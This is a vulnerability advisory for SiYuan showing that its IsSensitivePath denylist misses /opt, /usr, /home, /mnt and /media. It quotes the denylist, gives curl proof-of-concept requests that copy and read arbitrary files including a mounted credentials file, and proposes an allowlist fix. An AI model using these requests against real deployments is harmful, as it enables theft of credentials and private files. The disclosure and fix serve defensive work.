CVE-2026-33194: SiYuan has an Incomplete Fix for IsSensitivePath Denylist Allows File Read from /opt, /usr, /home

Summary

The IsSensitivePath() function in kernel/util/path.go uses a denylist approach that was recently expanded (GHSA-h5vh-m7fg-w5h6, commit 9914fd1) but remains incomplete. Multiple security-relevant Linux directories are not blocked, including /opt (application data), /usr (local configs/binaries), /home (other users), /mnt and /media (mounted volumes). The globalCopyFiles and importStdMd endpoints rely on IsSensitivePath as their primary defense against reading files outside the workspace.

Details

Current denylist in kernel/util/path.go:391-405:

go prefixes := []string{ "/.", // dotfiles "/etc", // system config "/root", // root home "/var", // variable data "/proc", // process info "/sys", // sysfs "/run", // runtime data "/bin", // binaries "/boot", // boot files "/dev", // devices "/lib", // libraries "/srv", // service data "/tmp", // temp files }

NOT blocked: - /opt — commonly contains application data, databases, credentials. In SiYuan Docker, /opt/siyuan/ contains the application itself. - /usr — contains /usr/local/etc, /usr/local/share, custom configs - /home — other users' home directories (only ~/.ssh and ~/.config of the current HomeDir are blocked via separate checks, but other users' homes are accessible) - /mnt, /media — mounted volumes, network shares, often containing secrets - /snap — snap package data - /sbin, /lib64 — system binaries/libraries

The globalCopyFiles endpoint at kernel/api/file.go:82 uses IsSensitivePath as its sole path validation:

go if util.IsSensitivePath(absSrc) { // reject continue } // File is copied into workspace — then readable via /api/file/getFile

PoC

bash Read SiYuan's own application files from /opt (Docker deployment) curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \ -H 'Authorization: Token YOURAPITOKEN' \ -H 'Content-Type: application/json' \ -d '{"srcs":["/opt/siyuan/kernel/SiYuan-Kernel"],"destDir":"data/assets"}'

Then read the copied file from workspace curl -s 'http://127.0.0.1:6806/api/file/getFile' \ -H 'Authorization: Token YOURAPITOKEN' \ -H 'Content-Type: application/json' \ -d '{"path":"data/assets/SiYuan-Kernel"}'

Read files from mounted volumes curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \ -H 'Authorization: Token YOURAPITOKEN' \ -H 'Content-Type: application/json' \ -d '{"srcs":["/mnt/secrets/credentials.json"],"destDir":"data/assets"}'

Impact

- Read arbitrary files from /opt, /usr, /home, /mnt, /media and any other non-denylisted path - In Docker deployments: read application source code, configs, mounted secrets - The denylist approach is fundamentally flawed — any newly added filesystem path is accessible until explicitly blocked

Recommended Fix

Switch from a denylist to an allowlist approach. Only permit copying from the workspace directory and explicitly approved external paths:

go func IsSensitivePath(p string) bool { absPath := filepath.Clean(p)

// Allowlist: only workspace and configured safe directories if strings.HasPrefix(absPath, WorkspaceDir) { // Block workspace-internal sensitive paths (conf/) if strings.HasPrefix(absPath, filepath.Join(WorkspaceDir, "conf")) { return true } return false }

// Everything outside workspace is sensitive by default return true }